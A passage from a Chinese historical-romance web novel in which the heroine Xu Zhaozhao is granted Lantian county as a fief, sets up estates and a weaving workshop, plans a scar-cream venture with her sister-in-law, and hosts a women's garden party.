这几个都是可怜人,有的是早年丧夫,有的则是纯粹的望门寡,更有两人,是从冀州带回来的,只因为身隐贼窝,被毁了清白,求生无门,原想着一死了结,却被许昭昭救下。 这等同于得了新生。 “我有意差人去冀州置办产业,几位娘子意下如何?” “我等愿意听凭主子差遣。” “几位不必如此,大家同为女子,自当互相帮衬。这世道女子不易,若是再互相嫉妒拆台,咱们女子的处境只会更加艰难。你们如今各有所长,我想着选出四位娘子再联同这边的几位管事一同前往冀州,你们可有人主动请缨?” 话音未落,便有二人先一步站出来表示愿意前往。 之后又有两位稍微年长的妇人站出,也愿意去冀州。 如此,事情就此定下。 “此去冀州,除了要建一处织坊之外,我还想要将京城的美食也带过去,但又不能带全了,主事者我已选好,届时你们互相配合帮衬,我也不会委屈了诸位,但凡愿意同去者,皆可得十贯钱,日后每年收益,我会专门抽出一成来由几位共享。” “多谢主子。” 许昭昭表明态度之后,便命她们先下去准备。 选去冀州的人,许昭昭都已经定好了,高大魁办事妥贴,且有着与诸多权贵们打交道的经验,再加上几位得力的掌柜,还有谢将军在那里做靠山,此事不难。 许昭昭真正想要经营的地方,却不是冀州,也并非京城,而是远在遂州。 只是,派去遂州的人,明面儿上都不能与她有所牵连,更不能让任何人疑心到她是背后的主子,否则,只会引来上位者的疑心。 柱子如今还在南诏边境处,估计再有两个月,差事便能办得差不多,届时他回来,京城这一些个琐事,还得交由他来办。 徐得贵那边若是无事,也可以调回来了。 许昭昭人在京城,所以,产业的集中点,还是不能太远了。 只是,形势的变化,总比她预料得要更快。 许昭昭被圣上宣召入宫。 织布机的事,到底还是没能瞒得过去。 其实此事也好查。 当初许昭昭与姜宁的一场不见硝烟的商战,可以说是京城诸多权贵都有耳闻。 当时的圣上也在关注此事。 先前的一些疑惑,如今也都解开了。 那个时候,许昭昭就已经有这种织布更快的东西了吧? 圣上面前,许昭昭不敢撒谎,但还是稍微变通了一下。 “回禀陛下,臣女不敢隐瞒,织布机的确是早就做出来了,只是当时与现在所用的并不太一样,速度没有现在的快,而且织出来的疵布也更多一些。铺子里卖的只是一些好布,大量的疵布都被臣女卖到乡下人手上了。” 第220章 封地蓝田县 好在许昭昭早有准备,并且还特意命人做了几种不同的织布机出来。 如今圣上召见,许昭昭便将此事说出,而后,圣上派人将那几架不同的织布机带进宫来。 果然,并不完全一样,而且看起来有些旧的那一台织布机,好像是织布速度也没有那么快,而且宽幅也不行。 至此,永安帝也算是信了许昭昭的说法。 “陛下,臣女虽然有此心,但说到底不通这些木工之物,还是多亏了三哥和表兄一起忙碌,又是画图又是寻匠人,几次改进之后,才有了如今所用的这一款织布机。起初的确是臣女的一时奇思妙想,但是也不曾想到两位兄长真的能让一切成真。” 许昭昭这话就说的明白了。 最初的想法的确是她的。 但是真正落实这件事的,还是那两位兄长。 所以说,您之前奖赏他们是没毛病的。 永安帝则是正在思考。 他不止一次的察觉到许昭昭的与众不同。 而且无论是玉米、养猪,还是如今的织布机等等,桩桩件件里,几乎都有这个许昭昭的影子,但是她又表现得一副自己只爱银钱的样子。 永安帝倒不觉得许昭昭有多大的野心,他是单纯觉得许昭昭这人应该是个有福的,而且还聪慧。 兴许,这丫头运道好。 既然如此,若是不能好好利有,那岂非是浪费了? 许昭昭可不知道,圣上竟然想到了这么多。 待许昭昭退下之后,圣上又召见了顾东阳和崔玄正。 顾东阳是户部尚书,崔玄正是兵部侍郎,同时还是信宁侯。 圣上召见这二位,自然还以为是关于边关战事。 而实际上,圣上召见他二人,则是单纯地在考虑着一处封地。 “启禀陛下,微臣以为蓝田县可以。” 永安帝不解:“何故?” 崔玄正道:“陛下,蓝田县自古为秦楚大道,是关中通往东南诸省的要道之一,若是此地能被经营起来,有利于我京城。 蓝田县东南以秦岭为界,与洛南县等相接;西以库峪河为界,与京城毗邻;北以骊山为界,与临潼接壤。此地原本当为富庶之地,但不知为何,这几十年来,一直发展不畅,并没有达到户部所期许的效果。” 对此,顾东阳也是深以为然。 当初,他也以为这蓝田县必然是可以发展起来的,毕竟自圣上登基之后,一直致力于发展农商,虽然对商人有着诸多的限制,但总归是比先帝时要好了太多。 可是谁能想到,这蓝田县都换了七八任县令了,迄今为止,仍然不堪重用。 若论农事,真有什么灾情祸端,也别指望着蓝田县能有多少的囤粮。 若论商道,这蓝田县明明地理位置优越,但就是做不起来。 若论政绩,那自然也是出不来的。 大兴为官,尤其是地方父母官,所出政绩,无非就是农、商税,再就是治下出几个有名的读书人,比如说乡试中榜、会试中榜等等。 可是这么多年了,是样样全无。 崔玄正选中此处,就是觉得此地或许是风水不好,而许昭昭只是一个异姓县主,若是圣上将此处封赏于她,天下人自然是感念陛下的仁德,许昭昭也当感激不尽。 至于是否能有多少的进项,那就另当别论了。 顾东阳也觉得此处正好。 因为他也想看看,若是让蓝田县主去经营此处,究竟能有何等成效。 虽是获封县主,并不代表了整座县都是她的。 大兴朝的县主食邑不等,一般县主多在五百户至一千户之间。 而大兴朝的异姓县主极少,即便是曾封赏过几人,但也不曾享有食邑,不过就是身份上尊崇一些罢了。 如今圣上提出来要给许昭昭封地,顾东阳和崔玄正自然也能看得出这位姑娘是真的受宠。 而且是长辈对晚辈的那种宠溺。 “那就蓝田县吧。” 蓝田县如今的总人口数约莫在两万人,实际户数为四千余户。 现在,封地落实了,接下来就要看圣下打算给安乐县主多少食邑了。 “拟旨,着赐安乐县主封地蓝田县,食邑一千户,着蓝田县县令即刻着手建造县主府。” “是!” 旨意自宫中而出,许昭昭听明白这些之后,整个人都麻了。 她想过皇上会降罪,甚至想过皇上会收回一些赏赐,但是完全没想过,圣上竟然会给她赐下了封地! 她是不是应该有点儿受宠若惊的意思? 蓝田县呀! 她知道此处,距离京城大概就是七八十里的样子。 按说不算远。 可她努力打造了这么久的百果园就在万年县呀! 陛下怎么又把她给支愣到蓝田县去了? 冷静下来之后,许昭昭想明白了。 她是县主,不需要去封地,但是一千户食邑,这的确是她真真切切的好处。 县主府是要修建在县城的,这一点不需要考虑。 可是实际上,她的食邑如何划,还得看上面的意思。 许昭昭总觉得事情不简单。 而且她也听到消息了,皇上给她选封地的时候,还特意把崔玄正给叫去了,一个兵部侍郎,叫他干什么? 等到再收到一份旨意之后,许昭昭才是真的麻了。 她觉得自己就是天选打工人! 皇上这哪里是在赏她呀,分明就是在给她派活呢! 蓝田县将一大片地都划到许昭昭名下了。 许昭昭看过,一个山头,外加一千亩良田,三千亩荒地,还有两千亩的下等田。 啧,这是让她去蓝田县开荒呢! 一千户食邑,圣上和信宁侯先给她送来了三百余户。 呵,这下好了,许昭昭现在就是奉旨给他们二位养残兵呢! 许昭昭是县主,按制也是有亲兵的。 先前没当回事,主要是因为她住在侯府,而且又只是一个虚名,没必要。 现在不一样了,她都有封地了,那自然就当将自己的亲兵给组建起来,不再是以前那样凑和一下子就得了。 许昭昭觉得圣上给她出了一个大难题。 家中擅长选兵练兵的父兄都不在,她的未婚夫也走了,所以她现在组建亲兵找谁? 总不能自己去吧? 这一刻,许昭昭是真的想打人了! 第221章 皇帝也太贼了 突然一下子就富贵起来了,许昭昭一时间还真有些不适应。 更不适应的是王若兰以及侯府的其它女眷们。 这怎么突然一下子就赏赐封地了? 而且这个待遇,这简直就是要比安和县主这个正经的皇家人还要更好呀! 要知道安和县主是郡王之女,她的食邑也不过才八百户。 所以皇上到底是咋想的? 这么重赏一个异姓县主,真不怕被他的皇亲们责难? 许昭昭这几天早就让人打听清楚了。 就蓝田县那个穷样子,也是她没想到的。 按说离着京城也不远呀。 等她再回过神来,又觉得自己想错了,若是上辈子,七八十里地的确是不算远,开车一个小时就到了。 可问题是,现在是古代呀! 如果是坐马车,估摸着要走大半天。 要是老百姓们步行,那得一大早就出发,一小天的功夫才能走到。 再加上现在的交通并没有那么便利,所以,七八十里地,着实不算近。 许昭昭突然瞪大眼睛,一个极其不好的想法冒出来。 皇帝不会打着让她修路的主意吧? 那可不行! 这年头修路不仅要花人工,还得花钱呢。 关键是路不好修呀。 别人看来是帝王厚赏,简在帝心。 可是实际上,在许昭昭心里,皇上这就是故意拿她当打工人呢,而且还是那种许以高薪利诱,实际上让她去干五六个人都不一定能干成的活。 啧,皇帝也太贼了! 但不管怎么说,有了封地是真的,而且有了食邑也是真的。 接下来,一千户人家要靠她吃饭呢,她就算是有再大的怨气,也得先把这件事给解决了。 好在,百果园那里还有得用之人,否则,她是真的要亲自去跑腿了。 “先跟蓝田县的县令那里知会一声,盖县主府之事不急,先安排人去庄子上盖出一些屋舍来才是正经,总不能我的一千户食邑全都露天住着吧?” “回禀主子,那边有些屋舍,但是显然不够住。而且修建县主府是圣上的旨意,就算是去找县令,只怕也不成。” 许昭昭叹气,她把这一茬给忘了。 好在永安帝也不是单纯只是为了让许昭昭帮着养残兵,所以还是派了一些能用的人过来。 许昭昭召见了几个人,其中断臂的一位中年汉子,名叫严树,瞧着倒是个有些本事的。 许昭昭最终将严树和另一位年轻英武的护卫李生留下,打算安排他们暂时负责蓝田县那边的具体情况。 “严叔,上面给安排的这些地倒是都在一处,不过我瞧着大多数都是荒地,虽说有一千亩良田,可是我食邑是一千户,日后若是真地人都齐了,那一千亩田地根本就养不活这些人。 我既然是县主,又得了圣上的恩赏,便不能真地只做个甩手掌柜。但凡是跟着我的人,都得想法子让他们吃饱穿暖,否则,也对不起圣上的信任。” “请县主吩咐,小的虽说断了一臂,但并不妨碍做事。” “严叔不必如此。我未曾去过蓝田县,打算让你和李生先过去一趟,最起码要选出庄子的落址才是。另外,主家的宅院不必修得过于华丽,以舒适为主。我手底下的人,懂这个的不多,但我听闻严叔曾在工部做过事,想来应该是难不倒你的。” “小的以前的确是在工部做过,盖屋舍这些也难不倒小的,您放心,小的一定安排妥当。” “好,那些事就交由你一力主办,李生便跟在你身边做个副手,若有什么不好解决的事,只管言语一声,回头我再安排几个得力的后生跟着你们跑跑腿,至于银钱方面,我这里倒是不必担心。待你们先过去将一切选定之后,我再命人将银钱送去。” “是,主子放心,小的一定将一切都安排妥当。” 走之前,许昭昭让丁香给他们一人拿了一块银铤,又抬了一箱子的铜钱让他们带去蓝田县。 二人面上微喜,只要主子愿意出钱,那他们自然就愿意出力。 日后他们要在蓝田县落户,如今派过去既是为县主做事,也是为了能让他们有一个更安稳的家。 所以,自然尽心。 “去把长生和高守信给我叫来。” “是,小姐。” 许昭昭知道,皇上和崔玄正安排过来的人,除了一些伤残老兵之外,余下的还有八十余青壮,这些是可以做为自己的亲卫的。 其它的,慢慢来吧,不着急。 长生来到侯府后,倒是很勤快,字也认得多了,但是整体而言,他就不是一个能读书的,最喜欢的还是舞刀弄枪。 许昭昭看他如今因为吃的好,也养起来了,瞧着倒的确是很英武,颇有几分护卫的姿态,所以便让他暂时也加入护卫队,之后,再找人慢慢教便是了。 至于高守信,许昭昭觉得他以后兴许可以当个管事,现在嘛,还是先当跑腿的吧。 “参见主子!” 许昭昭叫起后,简单问了几句他们这几日的安排,之后就开始给他们派活了。 “你们一起去蓝田县,我再让忠叔给你们拨几个人,你们主要就是过去看看庄子上的屋舍是否能住人,若是能住,又能容纳多少,另外,再去一趟县衙,确认好县主府的位置即可。” “是,主子。” “这些都做完之后,你们便去找一位叫严树和李生的人,他们都是上面拨给我的,日后便是自己人了。问清楚他们建造屋舍的具体花销之后,你们还要再想法子安排人手先去在良田里种下玉米,至少不能让这些良田闲着。” “是,请主子放心,小的人一定办妥。” 蓝田县的这一千亩良田,去岁并未空着,如今都赐给许昭昭,也是因为这一千亩良田曾是邓家的私产。 后来因犯错,而被朝廷收回。 那一千亩良田里如今留下的人手也没多少,主要是大部分都是邓氏族人,如今邓家出事后,良田也不再属于邓家,所以他们就跟着一起走了。 这倒也是省了许昭昭的事。 不过,良田嘛,还是得先利用起来,可不能让它们空着。 第222章 加紧建设 许昭昭所担心的人手不足问题,压根儿就不是个问题。 因为蓝田被赐给安乐县主做封地之后,蓝田的诸多百姓们就都觉得机会来了。 许昭昭点金手的大名,他们或许没听说过,但是安乐县主的兄长曾进献良种之事,他们可是知道的。 如今县主要在这边建立府邸以及庄子,那自然就是给他们送机会来了。 所以,严树和李生带着人刚在这边实地考察呢,那边就有不少百姓拖家带口的过来了。 有的甚至还直接带上锅碗瓢盆一起来了。 严树也没想到,县主在外的名声竟然这般好。 严树和李生二人干脆就分工合作,他去选定庄子的整体落址,而李生则负责带人给这些人安顿事宜。 三天时间,他们就收容了七十余户人家。 啧啧,就这个速度,也是以前没见过的。 许昭昭对于庄子的选址没有特别要求,只要不占耕地,其它的都好说。 而且许昭昭本人虽然爱享受,但她不缺银钱,也不缺地方住,所以既然是建在乡下的庄子,也就没有必要建得金碧辉煌,屋子够住,且宽敞明亮即可。 严树这边带着银钱和人手开始安排,一天的功夫,县主给的银子就花完了。 除了预定的砖瓦之外,还要再去请一些建屋的好把式,毕竟这里是庄子,不是县主府邸,不能是工部派人来承建的。 再者,这里这么多的人手,总得吃饭睡觉,所以一应物什的准备,也是大把的钱就流出去了。 长生和高守信的到来,可谓是及时雨了。 二人带着侯府亲卫二十余人,十几车的粮食,另外还带着两马车的铜钱,每个箱子里都是满满当当的。 看到钱,严树这心情立马就又轻松起来了。 人到位、钱到位,这办事的效率也就上来了。 建屋子除了找的一些老把式之外,就只安排了十来个人跟着打下手,余下的人,全都去翻地种田。 主子说了,现在可以直接种春玉米,差不多夏天的时候,就能收了。 到时候嫰玉米可是市面儿上的稀罕东西,拉出去卖,绝对是个好价钱! 许昭昭的确是将这一切都算计好了。 一千户的食邑,意味着以后这一千户人家要来供养她这个县主。 可是同样的,在一切未成形之前,她这个县主,也要保证这一千户人可以安安稳稳地度日。 这算不算是一种互相成就? 而且许昭昭知道,平时这一千户人都是她的子民,一旦到了战时,或者是有什么突发状况,她是可以直接从这一千户人里头抽调青壮的。 这才厉害! 所以,眼下许昭昭自然就要先彰显出自己这个主子的仁善和大度,十几车的粮食一拉过来,那些原本心里还有几分忐忑的老百姓们顿时就踏实了。 家有余粮,心里不慌! 他们宁愿抛家舍业的过来投奔县主,不就是因为原来的日子过不下去了嘛。 如今看到这么多的粮食被运过来,那他们还有啥好担心的? 严树这边除了让人盯着新屋的建造之外,还特意又从长安县请了两拨人手过来帮忙加盖工坊。 这一次,许昭昭要盖的工坊,便是织坊。 工部已经开始大量生产最新的织布机,而当时许君霆也给自己这里讨了道旨意,他们可以自己造,也可以自己建工坊,但若是一旦朝廷有需要,那必然也会先一步紧着朝廷的单子做。 当然,朝廷不会让他们白干。 如今这织坊只要把房子盖起来,百果园那边的织布机就能直接送过来。 蓝田这边的织坊比先前万年县的还要更大,因为这里是许昭昭的封地,所以,她有好处,自然是得先紧着自己来了。 工坊的建造速度很快,不过十余日,便已基本落成,余下的便是一些小的修补,这都是细活了,不影响工坊的正常使用。 许昭昭原本还想着把玻璃给弄出来的,但是现在她被圣上盯住了,所以不敢再有大动作,而且来日方长,任何事都不能急于一时。 以后大把的时间,她可以做自己想做的。 织坊这边一落成,万年县的织布机也就被人送来了,同行的,还有十余位织女跟着一起。 她们来此的任务,就是负责将这边的女工们教会。 有了织坊,就意味着这里的女眷们可以有事做,有工钱拿,不会再是家里头吃闲饭的存在了。 而且,对于这些普通的农户而言,这绝对是一件天大的喜事。 许昭昭命人将几车药装好,除此之外,身上携带着药丸的几人则是轻装上阵,快马加鞭往北城赶。 前天许昭昭才收到谢铮的信,确认他们目前安全,而且他也的确已经与敌方交手两次,目前一切安好。 至于大兴的大军,也已经顺利抵达北城,稍事整顿之后,只怕就将开启大战了。 待药送走,许昭昭这才回了一趟侯府。 其实,老夫人早就派人来催她回府,只是许昭昭以伤药还未完全配好为由,所以拒绝了。 老夫人纵然心中有火,也不能明着发,毕竟她的儿孙都远在战场上呢。 许昭昭回侯府前,先把芍药给叫过来,将府中近来的一些人和事都弄清楚之后,这才回府。 王若兰得知女儿要回来,早早地让膳房做女儿最欢的菜肴,与此同时,也命人将紫园好好打扫一遍。 实际上,夫人不吩咐,这紫园的洒扫工作,也是从来不曾停歇过的。 但凡是长了脑子的人都知道,谁才是这侯府最不能惹的。 许昭昭未回紫园呢,便先见到了一位身材中等的年轻公子,旁边还有许君清与其同行。 “见过四哥哥。” 许君清笑道:“昭昭可还能认出来这是何人?” 许昭昭眨眼,心中有了猜测,可又担心认错,毕竟眼前这人可不胖。 陈琮哈哈大笑:“昭昭妹妹可是谁不出我了?” 许昭昭这才挑眉:“陈胖哥哥?” 一个称呼,便迅速地拉近了双方的距离。 若是别人唤他一声陈胖子,陈琮必然会恼羞成怒,可眼前的小表妹唤他一声胖哥哥,一下子就让他回到了从前! 第223章 初见 陈琮的相貌俊朗,只是个头没有许家郎君们高,如今和许君清站在一起,差了小半个头。 而在侯府,许君清和许君霆这两位走文臣路子的郎君,可是身高最矮的了。 许昭昭向陈琮福身行礼,陈琮却直接侧身避过。 “不可。如今你是县主,咱们虽是亲戚,但也不过逾礼。” “陈胖哥哥不必如此,在自家宅院之中,咱们还是以家礼相待。两位兄长这是要去往何处?” “正准备去给老夫人请安,昭昭妹妹可要同往?” “我才刚刚回来,还要先回去梳妆一下,否则失礼。二位兄长先过去吧,妹妹随后就到。” 许昭昭回到紫园,简单整理了一下衣装,又重新梳了头发,这才前去请安。 老夫人这里如今热闹,不仅有陈家的两位小辈过来侍奉,还有许琳也几乎是日日过来。 王若兰和李氏也都在屋里坐着品茶,许昭昭老远就能听到屋子里传出的笑声。 许昭昭挑眉,她这个姑姑呀,真是什么事情都想掺和一脚。 陈琮才学不差,有意在京中读上两年书,再走科举的路子,不过陈琮的父亲即将调回京中,否则,陈家也不会在这个时候让陈家兄妹先一步进京。 “表哥调至京城也好,咱们都是一家子骨肉,我与表哥也是多年未见,也不知他如今胖了瘦了,对于表嫂,更是快记不住模样了。” 许琳这番话,自然是为了讨好老夫人,同时,也是想着借此拉近与陈家的关系。 许琳已经打听过了,陈琮之父这次调至京城,最少也是个五品官,极有可能会升任四品。 在大兴,四品官员基本上都是实权在握的。 至于一、二品那样的官员,不是虚封,便是大兴朝的吉祥物,真要是论起权势来,还真比不上三品大员。 老夫人心中欢喜,陈琮的父亲也是她的倒子,娘家人能起来,她自然觉得心中有底气。 况且,这么多年,她也的确是思念娘家亲眷们了。 “琮儿,读书的事,如何了?” “回姑祖母,一切都妥当了。先前书院的考核也都顺利通过,待过两日,便去书院报到。” “那就好。各样东西都要带齐备了。你身边只跟着一个小厮过去,能照顾得过来吗?要我看,再带个护卫也是好的。” 王若兰在一旁不吭声,暗道老夫人这是糊涂了,哪有去书院读书还带着护卫的? 这是生怕书院里打不起架来嘛! 再说了,书院也是有规矩的,是你想如何便能如何的? 陈琮自然是不会带的,三言两语间将事情说清楚,还引得老夫人连连点头。 许琳看着陈琮这仪表堂堂的样子,也觉得这样的好男儿可遇不可求。 可惜自己的茜儿毁了容貌,若不然,给自己做女婿也是使得的。 如今的许琳,心气儿自然没有那么高了。 她也看出来了,就算是孙茜没有毁容,这辈子也不可能比得过许昭昭。 那可是二品的县主呀! 皇上说封就封了,甚至还给了实封。 如今许昭昭说自己不靠许家养,那都是能底气十足的。 许琳想到自己如今人至中年,连个诰封都没有,这气便不打一处来。 她怨孙庆阳没本事,也怨两位嫡亲的兄长不愿意出手帮忙。 若是两位兄长愿意在御前多为孙庆阳说说好话,岂会如此? 许昭昭一进来,屋子里便先静了一瞬。 她行过礼问安后,便十分乖巧的到王若兰身侧坐了。 今日她的两位嫂嫂都不曾过来,张氏是在帮着管家,如今正在理账,至于安和县主,今日回郡王府去了。 许昭昭落坐后,便先注意到了一个眼生的姑娘,十四五岁的年纪,容貌与陈琮有两三分相似,不过眉眼似乎是更娇俏一些,应该就是陈湘了。仦說Ф忟網 “湘湘给昭昭姐姐见礼了。” 许昭昭坐着不动,笑着抬一下手:“妹妹免礼,快坐吧。” 陈湘这般样貌,想在京城寻一户好人家不难。 而且听说她的父亲即将调任京城,若是再有侯府加持,陈湘想要高嫁,并不难。 就看侯府是不是愿意给陈家做这个脸了。 老夫人急着让许昭昭回来,也正是存了这份心思。 许翰和王若兰都知道许昭昭交往的贵女们人品不差,老夫人自然也知道。 而且老夫人更看重的是那些贵女们的身份地位,若是有许昭昭帮着引见,用不了多久,陈湘便能打入京城的贵女圈子。 如此一来,陈湘的亲事,那便能更顺畅一些。 而且,许昭昭身边的人,原本就会比其它人更容易引人注意。 “昭昭呀,你回来的正好呢,等回头你再出去和你那些小姐妹们一起出去玩,便带上湘湘,你们年纪相仿,她又唤你一声姐姐,你当多照顾一些。” “祖母说得是,若是得了机会,自会带着湘湘妹妹一起出去。” 在这种事情上,许昭昭从来不会和老夫人唱反调,顺着她说便好,况且,就算是自己带出去了,能不能融进去,会不会被人算计,那可真不是自己能做得了主的。 就比如说孙茜,早几年不也是仗着与她亲近,所以一直往贵女圈子里钻吗? 结果呢? 倒是搭上姜宁了。 可是如今姜宁是忠王府孺人,好歹还沾着一个贵气,可是她孙茜呢? 容貌被毁,后半生是否有人可依都尚未可知呢。 陈湘湘时不时地往许昭昭身上看,一会儿看她的妆容,一会儿看她身上的衣裳钗环,眼中有好奇,却并无嫉妒贪婪之色。 若是这般,这个陈湘湘倒也可以相交。 午膳,自然就摆在了老夫人这里。 张氏和许君安也是一起过来用膳的。 老夫人原本就喜欢热闹,只是前阵子身子不适,所以才会显得她这里清静一些。 如今小辈们聚集,老夫人喜欢高乐,王若兰也便由着她了。 左右不过就是花几个钱的事儿,只要老太太安分,许琳不再闹妖,怎么着都成。 许琳今日倒是很识趣,未曾说什么煞风景的话,不过最后离开时,老夫人还是提出来让许昭昭去送一送。 “你这次离府时日长,你姑母也是许久不见你了。” 第224章 多带她出去走走 许琳的确是有话想要跟许昭昭说,她自恃长辈,求人的话,也不愿意让旁人听见,免得再失了身份。 如今姑侄二人慢悠悠地往前走,许琳确定没有其它小辈了,这才低声道:“昭昭呀,茜儿如今闹得厉害,我也是没法子了,所以才求到你这里来,无论是那药多贵,我出钱买,你再帮着给弄一些吧。” 孙茜脸上的疤痕的确是淡了一些,但想要治愈,那是不可能的。 能淡一些,再配上化妆技术,勉强能出去见人就不错了。 “姑姑不必如此,祛疤膏的事,我再想想办法,如今药材其实也凑得差不多了,只等着我手底下的人从南边儿回来,药材一凑齐,我便想法子去托人。姑姑也知道,我对这些东西其实是一知半解,真正有本事的可不是我。” 许琳见她肯松口,已经是十分满意了。 “好好好,茜儿的脸可就全靠你了。如今我和你姑父正在为她相看人家呢,只要是定下来,估计今年就要嫁出去的。我也知道茜儿脸上的伤势不好治愈,但只要是能淡化一些,能让她出去见人,我便十分感激了。” 许昭昭笑道:“瞧姑姑说的,咱们都是一家人,能帮忙,我是一定会帮的。姑姑回去后,还当宽慰表姐几句,估计用不了一个月,应该就能有准信儿了。” 许琳面上大喜:“那我可就等着了。” “好。” 许昭昭送走许琳,眼底渐渐泛冷。 什么十分感激? 不过只是嘴上说说罢了。 许琳和孙茜不愧是亲母女,求人之时,这姿态放得低,好话说尽。 一旦自己挡了她们的路,她们便能毫不犹豫地将自己给推出去挡剑挡刀。 可惜是亲戚,所以既不能太远了,也不能近了。 时刻都得防着被她们咬一口! 晚些时候,许昭昭拿着小瓶子去找安和县主了。 如今许君锋出征,安和县主这里日子过得可是清静。 张氏也是时常过来坐坐,王若兰和李氏也经常叫她过去一起打双陆,其实就是为了能让她转移一下注意力,别总是为远方战事提心吊胆的。 侯府待她好,安和县主自然是心知肚明。 如今许昭昭寻过来,安和连忙让人请进屋里说话。 “我也是刚到家不久,原想着明儿一早就能见着你了,没想到你还特意过来一趟。” “我是来找二嫂嫂商量事情的。” 安和县主一脸惊诧:“何事?” “二嫂嫂,我和乐阳郡主一起鼓捣药材的事,你也听说了吧?” “这事满京城贵人们有几个不知道的?齐王妃娘家原本就是经营了药材数十年,你与她合作,这是再正常不过。” “二嫂嫂,我知道郡王妃手里也有能人的。不知给嫂嫂陪嫁了几个?” 安和县主秒懂:“你是想问制药一事?” 许昭昭嘿嘿一笑:“孙茜表姐毁容一事,二嫂嫂可知道?” “嗯。此事她也是咎由自取,我原本以为她是无妄之灾,后来才听你二哥说,是她和姜宁想联手害你,结果被你和乐阳郡主躲过,这才被反噬了。” “今日姑姑又跟我提了这祛疤一事。我想着,若是自己能从那位老神仙手里头弄来方子,不如咱们一起合作?” 安和县主一愣:“与我合作?你自己若是有方子了,自去做便是,你手里不是也有人吗?” 许昭昭叹气:“那能一样嘛!我手里头现在光是做那些止血药和消炎药都忙活不完呢。这玉颜膏的方子,我现在还没弄到呢,不过感觉也快了。若是真能弄出来,二嫂嫂不想着跟我一起?” 安和县主自然是心动的。 她也是女子,自然明白女子对于容貌的在意。 而且那个玉颜膏的确好用,只是价格昂贵,非富贵人家是买不起的。 “好妹妹,你这是想要照顾我的产业呢,我这个做嫂嫂的,实在是有些愧对你。” “二嫂嫂快别这么说。不是照顾你,而是咱们本就是一家人,而且这门生意正好找你也合适。你看之前那造纸一事,我便未曾跟你提过,就是因为知道你手里没有这方面得用之人。而且大嫂手中刚好有,那便直接找她了。” 这样顺带一说,倒是解释了当初的事。 安和县主也不是小心眼的人,而且她手里头不缺银钱,但是许昭昭这样跟她解释一番,她心里头还是很高兴的。 二人又商议了小半个时辰,最终将部分计划先定下。 许昭昭先去弄方子,安和县主则是让人去将手底下得用之人都先筛一遍,这可是暴利的东西,绝对不能让人在背后捅刀子。 安和县主之所以越来越激动,是因为许昭昭说,她想弄出来两种产品。 一种就是专门给达官贵人家的女眷用的,价格昂贵,无论是外包装还是效果,都是相当优越的。 另外一种就是给小富之家的女眷们准备的,价格较为亲民,而且一年用上一两瓶即可,这种走的就是个量,别看卖得价格下来了,但是实际上,可能赚得比那个好的还要多。 安和县主虽然不曾亲自去做过生意,但也是打小学着理账看册的,再加上有郡王妃给选的陪嫁仆从们辅佐,手里的产业可是攥得紧紧的。 安和县主就喜欢许昭昭这样的,有什么好事,当然得先紧着自家人。 至于乐阳郡主,其实大家也都知道,一来是因为她和许昭昭玩儿的好,二来,乐阳郡主深得帝宠,且齐王与侯爷一样,都是只对皇上忠心。 所以,他们两家走得近,圣上不会怪罪。 许昭昭这是将方方面面都照顾到了呀。 安和县主因为要操心起新作坊的事,自然就忙碌起来。 这也让王若兰安心不少,毕竟还年轻,就怕这个儿媳妇再食不知味,寝不安眠的。 如今有了事情做,她也就不会总是胡思乱想了。 许昭昭因为忙活着这新方子的事,所以回府后一连数日都不曾出过门,这可把老夫人给急坏了,许昭昭不出门,怎么让陈湘湘认识那些贵女们呢? “你往常可不会如此,如今正是春暖花开,怎么不想着约你的那些好姐妹们一起出去玩乐?” “是,正有此意呢,只是还需要再和乐阳郡主那里商量一下,之后才好给各位贵女们下贴子。” 老夫人颇为满意:“这才对嘛,年轻的娘子们,就当多出去走走。” 第225章 月桂香 你不出去走走,怎么能让别人看见呢? 老夫人打的什么主意,许昭昭自然是知道的,只是她很好奇,陈湘湘到底知不知道。 如果陈湘湘知道的话,那是不是代表了她也认同老夫人的做法,就是想要被老夫人给捧成一件商品,然后待价而沽? 许昭昭暂时不想跟陈湘湘多说什么,说到底,陈湘湘是陈家人,不是许家人,她的将来也不应该在许家人手上。 所以,带你出去认认人可以,但是想要让自己真的捧着她,那是不可能的。 许昭昭直接安排了百果园的一场游园会。 正如老夫人所说,现在正是春暖花开的好时节,一群年轻的小娘子们一起赏赏花、喝喝茶、聊聊天等等,想想都觉得惬意。 许昭昭为了避免一些麻烦,所以这一次是直接只定下邀请女宾,不会允许任何一位郎君入百果园。 这次游园会,自然是少不了乐阳郡主的。 乐阳郡主的婚事去年就已经定下了,是越国公崔家的嫡长公子,也是国公府世子崔述。 越国公崔玄清是信宁侯崔玄正的亲兄长。 崔述不仅仅是国公府世子,更是在御前极受重用的一名年轻武将。 这一次北征没有让崔述直接上战场,而是安排了他押运粮草,其中一个原因,极有可能就是为了乐阳郡主。 而且押运粮草,也是一样能立功的。 再说以崔述现在的身份,也不需要非得去杀个头破血流去争抢功劳,只要人平安,能活着回来成亲,那就是最好的安排。 而且粮草押运官,也并非是真地就绝对不会参战,一旦持续北上补充供给,那也是有对敌的可能性的。 只是这种可能性和危险性,会比打前锋的要小一些。 除了乐阳郡主之外,宁朔公主也来了。 许昭昭就知道,上次合作的事情不成,宁朔公主也不会真的跟她翻脸。 毕竟,自己身后站的是圣上,那可是大兴最大的靠山。 再者说了,宁朔公主和安王的关系,若是想要助安王上位,又怎么会想着得罪许侯府和护国公府? 陈湘湘的确是有被今天的贵客们给惊到。 她以为许昭昭得封县主,应该就是圣上对许侯府的看重,可是没想到连嫡公主都会过来参加许昭昭筹办的宴会。 而且她注意到,宁朔公主和许昭昭一起说话时,不仅态度好,而且许昭昭的眼神都十分自然,看不到一丝一毫的畏惧。 陈湘湘对许昭昭的羡慕敬佩之情更浓,谁不想活成她那样,即便是面对皇家公主也丝毫不畏怯半分? 若是她知道许昭昭还拐着弯的拒绝了公主的合作意向,那只会更激动。 去年的游园会,让状元酒横空出世,今年的游园会,因为请来的都是女眷,所以便只备了各色果酒。 许昭昭特意寻许君霆给果酒取的名字,个个好听又寓意不凡,任谁也很难猜出此酒的酿造材料来。 应该说是能猜出其中一两种,却无法猜全。 比如说青梅酒,这个没有特意另取名字,但是任谁喝了,也都知道这其中除了青梅之外,定然还有其它的果子作辅,否则做不出这般的味道和口感来。 来的都是贵女,谁也不会傻到去问人家的酿酒方子,这可是人家谋生的手段,真都透露给你了,人家这么多的家丁仆从,吃什么,喝什么? “公主尝尝这月桂香的味道如何,若是觉得尚可,一会儿便给皇后娘娘也带上几坛子尝尝。” 宁朔公主浅尝一口,香、甜,带有薄薄的酒香气,而且整个的酒香浓郁,入喉几息后,这口中尚有桂花香气。 